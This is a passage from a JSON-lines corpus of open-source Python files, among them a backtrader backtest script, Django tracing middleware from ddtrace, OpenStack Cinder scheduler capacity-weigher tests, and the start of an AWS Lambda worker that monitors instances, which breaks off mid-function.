buffered= True\n )\n\n#Add the data to Cerebro\ncerebro.adddata(data)\n\n# Set our desired cash start\ncerebro.broker.setcash(startcash)\n\n# Add the analyzers we are interested in\ncerebro.addanalyzer(bt.analyzers.TradeAnalyzer, _name=\"ta\")\ncerebro.addanalyzer(bt.analyzers.SQN, _name=\"sqn\")\n\n# Run over everything\nstrategies = cerebro.run()\nfirstStrat = strategies[0]\n\n# print the analyzers\nprintTradeAnalysis(firstStrat.analyzers.ta.get_analysis())\nprintSQN(firstStrat.analyzers.sqn.get_analysis())\n\n#Get final portfolio Value\nportvalue = cerebro.broker.getvalue()\n\n#Print out the final result\nprint('Final Portfolio Value: ${}'.format(portvalue))\n\n#Finally plot the end results\ncerebro.plot(style='candlestick')", "source": "harshabakku/live-back-testing-trader", "license": "MIT"}
+{"text": "'''test_data_processing_generalstuff.py - Joshua Wallace - Mar 2019\n\nThis tests classes and methods in the data_processing.py file,\nusing the Lomb-Scargle method.\n'''\n\nimport unittest\nimport sys, os\nsys.path.insert(1,os.path.abspath('../src'))\nimport data_processing as dproc\nimport numpy as np\n\n\nclass test_data_processing_init(unittest.TestCase):\n\n def setUp(self):\n pass\n\n def test_lc_collection_setup(self):\n # Test initialization of the lc_collection_for_processing class\n self.assertIsInstance(dproc.lc_collection_for_processing(1.),\n dproc.lc_collection_for_processing)\n\n def test_periodsearch_results_setup(self):\n #Test initialization of the periodsearch_results class\n self.assertIsInstance(dproc.periodsearch_results('1'),\n dproc.periodsearch_results)\n\n\nclass test_warning_median_filter(unittest.TestCase):\n\n def setUp(self):\n self.col = dproc.lc_collection_for_processing(1.,n_control_workers=1)\n sample_len_1 = 3000\n t1 = np.linspace(0,1200,sample_len_1)\n self.col.add_object(t1,[10.]*sample_len_1,[1.]*sample_len_1,0.,0.,'o1')\n self.col.add_object(t1,[11.]*sample_len_1,[1.]*sample_len_1,0.,1.,'o2')\n\n ## LS run\n with self.assertWarns(UserWarning):\n col.run_ls(startp=10.,endp=11.,stepsize=0.1,autofreq=False,\n medianfilter=False,\n freq_window_epsilon_mf=1)\n\n with self.assertWarns(UserWarning):\n col.run_ls(startp=10.,endp=11.,stepsize=0.1,autofreq=False,\n medianfilter=False,median_filter_size=1)\n\n # PDM run\n with self.assertWarns(UserWarning):\n col.run_pdm(startp=10.,endp=11.,stepsize=0.1,autofreq=False,\n medianfilter=False,\n freq_window_epsilon_mf=1)\n\n with self.assertWarns(UserWarning):\n col.run_pdm(startp=10.,endp=11.,stepsize=0.1,autofreq=False,\n medianfilter=False,median_filter_size=1)\n\n # BLS run\n with self.assertWarns(UserWarning):\n col.run_bls(startp=10.,endp=11.,stepsize=0.1,autofreq=False,\n medianfilter=False,\n freq_window_epsilon_mf=1)\n\n with self.assertWarns(UserWarning):\n col.run_bls(startp=10.,endp=11.,stepsize=0.1,autofreq=False,\n medianfilter=False,median_filter_size=1)\n\n\n\n\n\n\n\n\nif __name__ == '__main__':\n unittest.main()\n\n", "source": "simpledeblendorganization/simple_deblend", "license": "MIT"}
+{"text": "# import os\n# import time\n# # linux exec\n# pid = os.fork()\n#\n# print('hello')\n#\n# if pid == 0:\n# print(os.getpid(), os.getppid())\n# else:\n# print(pid)\n#\n# time.sleep(2)\nimport multiprocessing\nfrom multiprocessing import Process\nimport time\n\n\ndef read(h):\n time.sleep(h)\n print('read ///')\n return h\n\n\nif __name__ == '__main__':\n # print(multiprocessing.cpu_count())\n # process = Process(target=read, args=(2,))\n # print(process.pid)\n #\n # process.start()\n # print(process.pid)\n # process.join()\n # print('end///')\n # print(process.pid)\n\n pool = multiprocessing.Pool(multiprocessing.cpu_count())\n # res = pool.apply_async(read, args=(2,))\n # pool.close()\n # pool.join()\n # print(res.get())\n\n for r in pool.imap(read, [1, 2, 3, 4]):\n print(r)\n\n for r in pool.imap_unordered(read, [1, 5, 3, 4]):\n print(r)\n", "source": "lishulongVI/Ilhabela", "license": "MIT"}
+{"text": "# project\nfrom .conf import settings\nfrom .compat import user_is_authenticated, get_resolver\nfrom .utils import get_request_uri\n\nfrom ...constants import ANALYTICS_SAMPLE_RATE_KEY\nfrom ...contrib import func_name\nfrom ...ext import SpanTypes, http\nfrom ...internal.logger import get_logger\nfrom ...propagation.http import HTTPPropagator\nfrom ...settings import config\n\n# 3p\nfrom django.core.exceptions import MiddlewareNotUsed\nfrom django.conf import settings as django_settings\nimport django\n\ntry:\n from django.utils.deprecation import MiddlewareMixin\n\n MiddlewareClass = MiddlewareMixin\nexcept ImportError:\n MiddlewareClass = object\n\nlog = get_logger(__name__)\n\nEXCEPTION_MIDDLEWARE = \"ddtrace.contrib.django.TraceExceptionMiddleware\"\nTRACE_MIDDLEWARE = \"ddtrace.contrib.django.TraceMiddleware\"\nMIDDLEWARE = \"MIDDLEWARE\"\nMIDDLEWARE_CLASSES = \"MIDDLEWARE_CLASSES\"\n\n# Default views list available from:\n# https://github.com/django/django/blob/38e2fdadfd9952e751deed662edf4c496d238f28/django/views/defaults.py\n# DEV: Django doesn't call `process_view` when falling back to one of these internal error handling views\n# DEV: We only use these names when `span.resource == 'unknown'` and we have one of these status codes\n_django_default_views = {\n 400: \"django.views.defaults.bad_request\",\n 403: \"django.views.defaults.permission_denied\",\n 404: \"django.views.defaults.page_not_found\",\n 500: \"django.views.defaults.server_error\",\n}\n\n\ndef _analytics_enabled():\n return (\n (config.analytics_enabled and settings.ANALYTICS_ENABLED is not False) or settings.ANALYTICS_ENABLED is True\n ) and settings.ANALYTICS_SAMPLE_RATE is not None\n\n\ndef get_middleware_insertion_point():\n \"\"\"Returns the attribute name and collection object for the Django middleware.\n\n If middleware cannot be found, returns None for the middleware collection.\n \"\"\"\n middleware = getattr(django_settings, MIDDLEWARE, None)\n # Prioritise MIDDLEWARE over ..._CLASSES, but only in 1.10 and later.\n if middleware is not None and django.VERSION >= (1, 10):\n return MIDDLEWARE, middleware\n return MIDDLEWARE_CLASSES, getattr(django_settings, MIDDLEWARE_CLASSES, None)\n\n\ndef insert_trace_middleware():\n middleware_attribute, middleware = get_middleware_insertion_point()\n if middleware is not None and TRACE_MIDDLEWARE not in set(middleware):\n setattr(django_settings, middleware_attribute, type(middleware)((TRACE_MIDDLEWARE,)) + middleware)\n\n\ndef remove_trace_middleware():\n _, middleware = get_middleware_insertion_point()\n if middleware and TRACE_MIDDLEWARE in set(middleware):\n middleware.remove(TRACE_MIDDLEWARE)\n\n\ndef insert_exception_middleware():\n middleware_attribute, middleware = get_middleware_insertion_point()\n if middleware is not None and EXCEPTION_MIDDLEWARE not in set(middleware):\n setattr(django_settings, middleware_attribute, middleware + type(middleware)((EXCEPTION_MIDDLEWARE,)))\n\n\ndef remove_exception_middleware():\n _, middleware = get_middleware_insertion_point()\n if middleware and EXCEPTION_MIDDLEWARE in set(middleware):\n middleware.remove(EXCEPTION_MIDDLEWARE)\n\n\nclass InstrumentationMixin(MiddlewareClass):\n \"\"\"\n Useful mixin base class for tracing middlewares\n \"\"\"\n\n def __init__(self, get_response=None):\n # disable the middleware if the tracer is not enabled\n # or if the auto instrumentation is disabled\n self.get_response = get_response\n if not settings.AUTO_INSTRUMENT:\n raise MiddlewareNotUsed\n\n\nclass TraceExceptionMiddleware(InstrumentationMixin):\n \"\"\"\n Middleware that traces exceptions raised\n \"\"\"\n\n def process_exception(self, request, exception):\n try:\n span = _get_req_span(request)\n if span:\n span.set_tag(http.STATUS_CODE, \"500\")\n span.set_traceback() # will set the exception info\n except Exception:\n log.debug(\"error processing exception\", exc_info=True)\n\n\nclass TraceMiddleware(InstrumentationMixin):\n \"\"\"\n Middleware that traces Django requests\n \"\"\"\n\n def process_request(self, request):\n tracer = settings.TRACER\n if settings.DISTRIBUTED_TRACING:\n propagator = HTTPPropagator()\n context = propagator.extract(request.META)\n # Only need to active the new context if something was propagated\n if context.trace_id:\n tracer.context_provider.activate(context)\n try:\n span = tracer.trace(\n \"django.request\",\n service=settings.DEFAULT_SERVICE,\n resource=\"unknown\", # will be filled by process view\n span_type=SpanTypes.WEB,\n )\n\n # set analytics sample rate\n # DEV: django is special case maintains separate configuration from config api\n if _analytics_enabled() and settings.ANALYTICS_SAMPLE_RATE is not None:\n span.set_tag(\n ANALYTICS_SAMPLE_RATE_KEY, settings.ANALYTICS_SAMPLE_RATE,\n )\n\n # Set HTTP Request tags\n span.set_tag(http.METHOD, request.method)\n span.set_tag(http.URL, get_request_uri(request))\n trace_query_string = settings.TRACE_QUERY_STRING\n if trace_query_string is None:\n trace_query_string = config.django.trace_query_string\n if trace_query_string:\n span.set_tag(http.QUERY_STRING, request.META[\"QUERY_STRING\"])\n _set_req_span(request, span)\n except Exception:\n log.debug(\"error tracing request\", exc_info=True)\n\n def process_view(self, request, view_func, *args, **kwargs):\n span = _get_req_span(request)\n if span:\n span.resource = func_name(view_func)\n\n def process_response(self, request, response):\n try:\n span = _get_req_span(request)\n if span:\n if response.status_code < 500 and span.error:\n # remove any existing stack trace since it must have been\n # handled appropriately\n span._remove_exc_info()\n\n # If `process_view` was not called, try to determine the correct `span.resource` to set\n # DEV: `process_view` won't get called if a middle `process_request` returns an HttpResponse\n # DEV: `process_view` won't get called when internal error handlers are used (e.g. for 404 responses)\n if span.resource == \"unknown\":\n try:\n # Attempt to lookup the view function from the url resolver\n # https://github.com/django/django/blob/38e2fdadfd9952e751deed662edf4c496d238f28/django/core/handlers/base.py#L104-L113 # noqa\n urlconf = None\n if hasattr(request, \"urlconf\"):\n urlconf = request.urlconf\n resolver = get_resolver(urlconf)\n\n # Try to resolve the Django view for handling this request\n if getattr(request, \"request_match\", None):\n request_match = request.request_match\n else:\n # This may raise a `django.urls.exceptions.Resolver404` exception\n request_match = resolver.resolve(request.path_info)\n span.resource = func_name(request_match.func)\n except Exception:\n log.debug(\"error determining request view function\", exc_info=True)\n\n # If the view could not be found, try to set from a static list of\n # known internal error handler views\n span.resource = _django_default_views.get(response.status_code, \"unknown\")\n\n span.set_tag(http.STATUS_CODE, response.status_code)\n span = _set_auth_tags(span, request)\n span.finish()\n except Exception:\n log.debug(\"error tracing request\", exc_info=True)\n finally:\n return response\n\n\ndef _get_req_span(request):\n \"\"\" Return the datadog span from the given request. \"\"\"\n return getattr(request, \"_datadog_request_span\", None)\n\n\ndef _set_req_span(request, span):\n \"\"\" Set the datadog span on the given request. \"\"\"\n return setattr(request, \"_datadog_request_span\", span)\n\n\ndef _set_auth_tags(span, request):\n \"\"\" Patch any available auth tags from the request onto the span. \"\"\"\n user = getattr(request, \"user\", None)\n if not user:\n return span\n\n if hasattr(user, \"is_authenticated\"):\n span.set_tag(\"django.user.is_authenticated\", user_is_authenticated(user))\n\n uid = getattr(user, \"pk\", None)\n if uid:\n span.set_tag(\"django.user.id\", uid)\n\n uname = getattr(user, \"username\", None)\n if uname:\n span.set_tag(\"django.user.name\", uname)\n\n return span\n", "source": "thieman/dd-trace-py", "license": "Apache-2.0"}
+{"text": "# Copyright 2011-2012 OpenStack Foundation\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\"\"\"Tests For Capacity Weigher.\"\"\"\nfrom datetime import datetime\nfrom unittest import mock\n\nimport ddt\n\nfrom cinder.common import constants\nfrom cinder import context\nfrom cinder.scheduler import weights\nfrom cinder.tests.unit.scheduler import fakes\nfrom cinder.tests.unit import test\nfrom cinder.volume import volume_utils\n\n\n@ddt.ddt\nclass CapacityWeigherTestCase(test.TestCase):\n def setUp(self):\n super(CapacityWeigherTestCase, self).setUp()\n self.host_manager = fakes.FakeHostManager()\n self.weight_handler = weights.OrderedHostWeightHandler(\n 'cinder.scheduler.weights')\n\n def _get_weighed_hosts(self, hosts, weight_properties=None):\n if weight_properties is None:\n weight_properties = {'size': 1}\n return self.weight_handler.get_weighed_objects(\n [weights.capacity.CapacityWeigher],\n hosts,\n weight_properties)\n\n @mock.patch('cinder.db.sqlalchemy.api.service_get_all')\n def _get_all_backends(self, _mock_service_get_all, disabled=False):\n ctxt = context.get_admin_context()\n fakes.mock_host_manager_db_calls(_mock_service_get_all,\n disabled=disabled)\n backend_states = self.host_manager.get_all_backend_states(ctxt)\n _mock_service_get_all.assert_called_once_with(\n ctxt,\n None, # backend_match_level\n topic=constants.VOLUME_TOPIC, frozen=False, disabled=disabled)\n return backend_states\n\n # If thin and thin_provisioning_support are True,\n # use the following formula:\n # free = (total * host_state.max_over_subscription_ratio\n # - host_state.provisioned_capacity_gb\n # - math.floor(total * reserved))\n # Otherwise, use the following formula:\n # free = free_space - math.floor(total * reserved)\n\n @ddt.data(\n {'volume_type': {'extra_specs': {'provisioning:type': 'thin'}},\n 'winner': 'host2'},\n {'volume_type': {'extra_specs': {'provisioning:type': 'thick'}},\n 'winner': 'host1'},\n {'volume_type': {'extra_specs': {}},\n 'winner': 'host2'},\n {'volume_type': {},\n 'winner': 'host2'},\n {'volume_type': None,\n 'winner': 'host2'},\n )\n @ddt.unpack\n def test_default_of_spreading_first(self, volume_type, winner):\n backend_info_list = self._get_all_backends()\n\n # Results for the 1st test\n # {'provisioning:type': 'thin'}:\n # host1: thin_provisioning_support = False\n # free_capacity_gb=1024,\n # free=1024-math.floor(1024*0.1)=922\n # Norm=0.837837837838\n # host2: thin_provisioning_support = True\n # free_capacity_gb=300,\n # free=2048*1.5-1748-math.floor(2048*0.1)=1120\n # Norm=1.0\n # host3: thin_provisioning_support = False\n # free_capacity_gb=512, free=256-512*0=256\n # Norm=0.292383292383\n # host4: thin_provisioning_support = True\n # free_capacity_gb=200,\n # free=2048*1.0-2047-math.floor(2048*0.05)=-101\n # Norm=0.0\n # host5: free_capacity_gb=unknown free=-1\n # Norm=0.0819000819001\n\n # so, host2 should win:\n weight_properties = {\n 'size': 1,\n 'volume_type': volume_type,\n }\n weighed_host = self._get_weighed_hosts(\n backend_info_list,\n weight_properties=weight_properties)[0]\n self.assertEqual(1.0, weighed_host.weight)\n self.assertEqual(winner,\n volume_utils.extract_host(weighed_host.obj.host))\n\n @ddt.data(\n {'volume_type': {'extra_specs': {'provisioning:type': 'thin'}},\n 'winner': 'host4'},\n {'volume_type': {'extra_specs': {'provisioning:type': 'thick'}},\n 'winner': 'host2'},\n {'volume_type': {'extra_specs': {}},\n 'winner': 'host4'},\n {'volume_type': {},\n 'winner': 'host4'},\n {'volume_type': None,\n 'winner': 'host4'},\n )\n @ddt.unpack\n def test_capacity_weight_multiplier1(self, volume_type, winner):\n self.flags(capacity_weight_multiplier=-1.0)\n backend_info_list = self._get_all_backends()\n\n # Results for the 1st test\n # {'provisioning:type': 'thin'}:\n # host1: thin_provisioning_support = False\n # free_capacity_gb=1024,\n # free=-(1024-math.floor(1024*0.1))=-922\n # Norm=-0.00829542413701\n # host2: thin_provisioning_support = True\n # free_capacity_gb=300,\n # free=-(2048*1.5-1748-math.floor(2048*0.1))=-1120\n # Norm=-0.00990099009901\n # host3: thin_provisioning_support = False\n # free_capacity_gb=512, free=-(256-512*0)=-256\n # Norm=--0.002894884083\n # host4: thin_provisioning_support = True\n # free_capacity_gb=200,\n # free=-(2048*1.0-2047-math.floor(2048*0.05))=101\n # Norm=0.0\n # host5: free_capacity_gb=unknown free=-float('inf')\n # Norm=-1.0\n\n # so, host4 should win:\n weight_properties = {\n 'size': 1,\n 'volume_type': volume_type,\n }\n weighed_host = self._get_weighed_hosts(\n backend_info_list,\n weight_properties=weight_properties)\n weighed_host = weighed_host[0]\n self.assertEqual(0.0, weighed_host.weight)\n self.assertEqual(winner,\n volume_utils.extract_host(weighed_host.obj.host))\n\n @ddt.data(\n {'volume_type': {'extra_specs': {'provisioning:type': 'thin'}},\n 'winner': 'host2'},\n {'volume_type': {'extra_specs': {'provisioning:type': 'thick'}},\n 'winner': 'host1'},\n {'volume_type': {'extra_specs': {}},\n 'winner': 'host2'},\n {'volume_type': {},\n 'winner': 'host2'},\n {'volume_type': None,\n 'winner': 'host2'},\n )\n @ddt.unpack\n def test_capacity_weight_multiplier2(self, volume_type, winner):\n self.flags(capacity_weight_multiplier=2.0)\n backend_info_list = self._get_all_backends()\n\n # Results for the 1st test\n # {'provisioning:type': 'thin'}:\n # host1: thin_provisioning_support = False\n # free_capacity_gb=1024,\n # free=(1024-math.floor(1024*0.1))*2=1844\n # Norm=1.67567567568\n # host2: thin_provisioning_support = True\n # free_capacity_gb=300,\n # free=(2048*1.5-1748-math.floor(2048*0.1))*2=2240\n # Norm=2.0\n # host3: thin_provisioning_support = False\n # free_capacity_gb=512, free=(256-512*0)*2=512\n # Norm=0.584766584767\n # host4: thin_provisioning_support = True\n # free_capacity_gb=200,\n # free=(2048*1.0-2047-math.floor(2048*0.05))*2=-202\n # Norm=0.0\n # host5: free_capacity_gb=unknown free=-2\n # Norm=0.1638001638\n\n # so, host2 should win:\n weight_properties = {\n 'size': 1,\n 'volume_type': volume_type,\n }\n weighed_host = self._get_weighed_hosts(\n backend_info_list,\n weight_properties=weight_properties)[0]\n self.assertEqual(1.0 * 2, weighed_host.weight)\n self.assertEqual(winner,\n volume_utils.extract_host(weighed_host.obj.host))\n\n def test_capacity_weight_no_unknown_or_infinite(self):\n self.flags(capacity_weight_multiplier=-1.0)\n del self.host_manager.service_states['host5']\n backend_info_list = self._get_all_backends()\n\n # host1: thin_provisioning_support = False\n # free_capacity_gb=1024,\n # free=(1024-math.floor(1024*0.1))=-922\n # Norm=-0.837837837838\n # host2: thin_provisioning_support = True\n # free_capacity_gb=300,\n # free=(2048*1.5-1748-math.floor(2048*0.1))=-1120\n # Norm=-1.0\n # host3: thin_provisioning_support = False\n # free_capacity_gb=512, free=(256-512*0)=-256\n # Norm=-0.292383292383\n # host4: thin_provisioning_support = True\n # free_capacity_gb=200,\n # free=(2048*1.0-2047-math.floor(2048*0.05))=101\n # Norm=0.0\n\n # so, host4 should win:\n weighed_hosts = self._get_weighed_hosts(backend_info_list)\n best_host = weighed_hosts[0]\n self.assertEqual(0.0, best_host.weight)\n self.assertEqual('host4',\n volume_utils.extract_host(best_host.obj.host))\n # and host2 is the worst:\n worst_host = weighed_hosts[-1]\n self.assertEqual(-1.0, worst_host.weight)\n self.assertEqual('host2',\n volume_utils.extract_host(worst_host.obj.host))\n\n def test_capacity_weight_free_unknown(self):\n self.flags(capacity_weight_multiplier=-1.0)\n self.host_manager.service_states['host5'] = {\n 'total_capacity_gb': 3000,\n 'free_capacity_gb': 'unknown',\n 'allocated_capacity_gb': 1548,\n 'provisioned_capacity_gb': 1548,\n 'max_over_subscription_ratio': 1.0,\n 'thin_provisioning_support': True,\n 'thick_provisioning_support': False,\n 'reserved_percentage': 5,\n 'timestamp': datetime.utcnow()}\n backend_info_list = self._get_all_backends()\n\n # host1: thin_provisioning_support = False\n # free_capacity_gb=1024,\n # free=(1024-math.floor(1024*0.1))=-922\n # Norm= -0.00829542413701\n # host2: thin_provisioning_support = True\n # free_capacity_gb=300,\n # free=(2048*1.5-1748-math.floor(2048*0.1))=-1120\n # Norm=-0.00990099009901\n # host3: thin_provisioning_support = False\n # free_capacity_gb=512, free=(256-512*0)=-256\n # Norm=-0.002894884083\n # host4: thin_provisioning_support = True\n # free_capacity_gb=200,\n # free=(2048*1.0-2047-math.floor(2048*0.05))=101\n # Norm=0.0\n # host5: free_capacity_gb=unknown free=3000\n # Norm=-1.0\n\n # so, host4 should win:\n weighed_hosts = self._get_weighed_hosts(backend_info_list)\n best_host = weighed_hosts[0]\n self.assertEqual(0.0, best_host.weight)\n self.assertEqual('host4',\n volume_utils.extract_host(best_host.obj.host))\n # and host5 is the worst:\n worst_host = weighed_hosts[-1]\n self.assertEqual(-1.0, worst_host.weight)\n self.assertEqual('host5',\n volume_utils.extract_host(worst_host.obj.host))\n\n def test_capacity_weight_cap_unknown(self):\n self.flags(capacity_weight_multiplier=-1.0)\n self.host_manager.service_states['host5'] = {\n 'total_capacity_gb': 'unknown',\n 'free_capacity_gb': 3000,\n 'allocated_capacity_gb': 1548,\n 'provisioned_capacity_gb': 1548,\n 'max_over_subscription_ratio': 1.0,\n 'thin_provisioning_support': True,\n 'thick_provisioning_support': False,\n 'reserved_percentage': 5,\n 'timestamp': datetime.utcnow()}\n backend_info_list = self._get_all_backends()\n\n # host1: thin_provisioning_support = False\n # free_capacity_gb=1024,\n # free=(1024-math.floor(1024*0.1))=-922\n # Norm= -0.00829542413701\n # host2: thin_provisioning_support = True\n # free_capacity_gb=300,\n # free=(2048*1.5-1748-math.floor(2048*0.1))=-1120\n # Norm=-0.00990099009901\n # host3: thin_provisioning_support = False\n # free_capacity_gb=512, free=(256-512*0)=-256\n # Norm=-0.002894884083\n # host4: thin_provisioning_support = True\n # free_capacity_gb=200,\n # free=(2048*1.0-2047-math.floor(2048*0.05))=101\n # Norm=0.0\n # host5: free_capacity_gb=3000 free=unknown\n # Norm=-1.0\n\n # so, host4 should win:\n weighed_hosts = self._get_weighed_hosts(backend_info_list)\n best_host = weighed_hosts[0]\n self.assertEqual(0.0, best_host.weight)\n self.assertEqual('host4',\n volume_utils.extract_host(best_host.obj.host))\n # and host5 is the worst:\n worst_host = weighed_hosts[-1]\n self.assertEqual(-1.0, worst_host.weight)\n self.assertEqual('host5',\n volume_utils.extract_host(worst_host.obj.host))\n\n def test_capacity_weight_free_infinite(self):\n self.flags(capacity_weight_multiplier=-1.0)\n self.host_manager.service_states['host5'] = {\n 'total_capacity_gb': 3000,\n 'free_capacity_gb': 'infinite',\n 'allocated_capacity_gb': 1548,\n 'provisioned_capacity_gb': 1548,\n 'max_over_subscription_ratio': 1.0,\n 'thin_provisioning_support': True,\n 'thick_provisioning_support': False,\n 'reserved_percentage': 5,\n 'timestamp': datetime.utcnow()}\n backend_info_list = self._get_all_backends()\n\n # host1: thin_provisioning_support = False\n # free_capacity_gb=1024,\n # free=(1024-math.floor(1024*0.1))=-922\n # Norm= -0.00829542413701\n # host2: thin_provisioning_support = True\n # free_capacity_gb=300,\n # free=(2048*1.5-1748-math.floor(2048*0.1))=-1120\n # Norm=-0.00990099009901\n # host3: thin_provisioning_support = False\n # free_capacity_gb=512, free=(256-512*0)=-256\n # Norm=-0.002894884083\n # host4: thin_provisioning_support = True\n # free_capacity_gb=200,\n # free=(2048*1.0-2047-math.floor(2048*0.05))=101\n # Norm=0.0\n # host5: free_capacity_gb=infinite free=3000\n # Norm=-1.0\n\n # so, host4 should win:\n weighed_hosts = self._get_weighed_hosts(backend_info_list)\n best_host = weighed_hosts[0]\n self.assertEqual(0.0, best_host.weight)\n self.assertEqual('host4',\n volume_utils.extract_host(best_host.obj.host))\n # and host5 is the worst:\n worst_host = weighed_hosts[-1]\n self.assertEqual(-1.0, worst_host.weight)\n self.assertEqual('host5',\n volume_utils.extract_host(worst_host.obj.host))\n\n def test_capacity_weight_cap_infinite(self):\n self.flags(capacity_weight_multiplier=-1.0)\n self.host_manager.service_states['host5'] = {\n 'total_capacity_gb': 'infinite',\n 'free_capacity_gb': 3000,\n 'allocated_capacity_gb': 1548,\n 'provisioned_capacity_gb': 1548,\n 'max_over_subscription_ratio': 1.0,\n 'thin_provisioning_support': True,\n 'thick_provisioning_support': False,\n 'reserved_percentage': 5,\n 'timestamp': datetime.utcnow()}\n backend_info_list = self._get_all_backends()\n\n # host1: thin_provisioning_support = False\n # free_capacity_gb=1024,\n # free=(1024-math.floor(1024*0.1))=-922\n # Norm= -0.00829542413701\n # host2: thin_provisioning_support = True\n # free_capacity_gb=300,\n # free=(2048*1.5-1748-math.floor(2048*0.1))=-1120\n # Norm=-0.00990099009901\n # host3: thin_provisioning_support = False\n # free_capacity_gb=512, free=(256-512*0)=-256\n # Norm=-0.002894884083\n # host4: thin_provisioning_support = True\n # free_capacity_gb=200,\n # free=(2048*1.0-2047-math.floor(2048*0.05))=101\n # Norm=0.0\n # host5: free_capacity_gb=3000 free=infinite\n # Norm=-1.0\n\n # so, host4 should win:\n weighed_hosts = self._get_weighed_hosts(backend_info_list)\n best_host = weighed_hosts[0]\n self.assertEqual(0.0, best_host.weight)\n self.assertEqual('host4',\n volume_utils.extract_host(best_host.obj.host))\n # and host5 is the worst:\n worst_host = weighed_hosts[-1]\n self.assertEqual(-1.0, worst_host.weight)\n self.assertEqual('host5',\n volume_utils.extract_host(worst_host.obj.host))\n", "source": "helenwalsh/cinder", "license": "Apache-2.0"}
+{"text": "#!/usr/bin/env python\n\"\"\"\nzumoco worker\n Called by AWS Lambda to discover service instances\n which are then added to AWS CloudWatch and monitored.\n\n Copyright 2019 zulily, Inc.\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n\"\"\"\n\n\nimport datetime\nimport json\nimport logging\nfrom time import strftime\n\nimport boto3\nfrom botocore import exceptions\nimport parsedatetime as pdt\n\nLogger = logging.getLogger()\nLogger.setLevel(logging.INFO)\n\nCW_C = boto3.client('cloudwatch')\nSNS_C = boto3.client('sns')\nS3_C = boto3.client('s3')\n\n# services zumoco has permission to describe\nSERVICE_LIST = ['ec2', 'cloudwatch', 'lambda', 'sns', 'rds', 'autoscaling']\n\nDEFS_PATH = 'monitordefs/'\nTEAM_FILEPATH = DEFS_PATH + 'team.json'\n\nDASHBOARD_MAX_WIDTH = 16\nDASHBOARD_MAX_WIDGET = 50\nMAX_SNS_MESSAGE = 1024 * 256\n\ndef load_monitor_file(file_name):\n \"\"\"\n Load team JSON\n \"\"\"\n try:\n with open(file_name, 'r') as monfile:\n mydict = json.load(monfile)\n except IOError as error:\n mydict = \"\"\n Logger.warning('Failed to load ' + file_name)\n Logger.critical('Critical Error: ' + str(error))\n return mydict\n\n\ndef load_instances(bucket, filename):\n \"\"\"\n Load JSON instances from S3 file\n \"\"\"\n try:\n obj = S3_C.get_object(Bucket=bucket, Key=filename)\n last_str = obj['Body'].read().decode('utf-8')\n insts = json.loads(last_str)\n except exceptions.ClientError as err:\n if err.response['Error']['Code'] == \"NoSuchKey\":\n Logger.warning('No file found:' + filename)\n insts = []\n else:\n raise\n\n return insts\n\n\ndef save_instances(inst_list, bucket, filename):\n \"\"\"\n Save instances to S3 json\n \"\"\"\n try:\n out = S3_C.put_object(Bucket=bucket, Key=filename,\n Body=json.dumps(inst_list, ensure_ascii=False,\n default=dateconverter))\n except exceptions.ClientError as err:\n Logger.error('Issue writing file:' + filename + ':' + err)\n\n return out['ResponseMetadata']['HTTPStatusCode']\n\ndef dateconverter(date_obj):\n \"\"\"\n Stringify datetime.datetime in a given instance\n \"\"\"\n if isinstance(date_obj, datetime.datetime):\n return date_obj.__str__()\n\n\ndef determine_deltas(my_insts, my_last_insts):\n \"\"\"\n Create lists of created and deleted instances since previous run.\n \"\"\"\n\n if not my_last_insts:\n return None, my_insts\n else:\n idict = {a['myname']:a for a in my_insts}\n ldict = {a['myname']:a for a in my_last_insts}\n set_insts = set(tuple(idict.keys()))\n set_last_insts = set(tuple(ldict.keys()))\n newinstkeys = list(set_insts - set_last_insts)\n delinstkeys = list(set_last_insts - set_insts)\n newinsts = [idict[a] for a in newinstkeys]\n delinsts = [ldict[a] for a in delinstkeys]\n return delinsts, newinsts\n\n\ndef format_report(count, new_inst, del_inst, svc_info):\n \"\"\"\n Given a service's new, deleted inst, return a string representation for email\n \"\"\"\n needed = False\n body = ''\n if new_inst is not None and len(new_inst) > 0:\n needed = True\n body += '\\n\\n New Instances: '\n for inst in new_inst:\n body += '\\n ' + inst['myname']\n else:\n body += '\\n\\n No new instances.'\n if del_inst is not None and len(del_inst) > 0:\n needed = True\n body += '\\n\\n Deleted Instances: '\n for inst in del_inst:\n body += '\\n ' + inst['myname']\n else:\n body += '\\n\\n No deleted instances.'\n if needed:\n output = 'Service: ' + svc_info['Service']\n output += '\\n Total Instances: ' + str(count)\n output += '\\n\\n'\n return output + body\n\n return None\n\n\ndef send_report(report_text, svc_info, now_str):\n \"\"\"\n Publish report to AWS SNS endpoint\n Note: publish takes a max of 256KB.\n \"\"\"\n overage = len(report_text) - MAX_SNS_MESSAGE\n if overage > 0:\n report_text = report_text[:-overage - 20] + '\\n'\n resp = SNS_C.publish(TopicArn=svc_info['ReportARN'],\n Message=report_text,\n Subject='New/Deleted Instance Report for ' + now_str)\n return resp\n\n\ndef get_notify_targets(a_dest):\n \"\"\"\n Return a dict of SNS alarm ARNs\n \"\"\"\n topics = SNS_C.list_topics()['Topics']\n arns = [i['TopicArn'] for i in topics]\n return {a: a_dest[a] for a in a_dest if a_dest[a] in arns}\n\n\ndef get_service_instance_tag_value(inst, svc_client, svc_info, tag_name):\n \"\"\"\n Retrieve given tag value from the given instance\n \"\"\"\n # Requires another API call\n if svc_info['DiscoverTags']:\n cmd = 'svc_client.' + svc_info['DiscoverTags']\n if svc_info['DiscoverTagsInstParm']:\n cmd += 'inst[\"' + svc_info['DiscoverTagsInstParm'] + '\"]'\n cmd += ')'\n inst = eval(cmd)\n # turn tag list into dictionary\n tagl = {i['Key']:i['Value'] for i in inst[svc_info['TagsKey']] if i['Value']}\n try:\n value = tagl[tag_name]\n except KeyError:\n value = \"\"\n return value\n\n\ndef create_friendly_name(instance, svc_client, svc_info):\n \"\"\"\n Return the best name for alarm\n \"\"\"\n Maxlen = 253\n 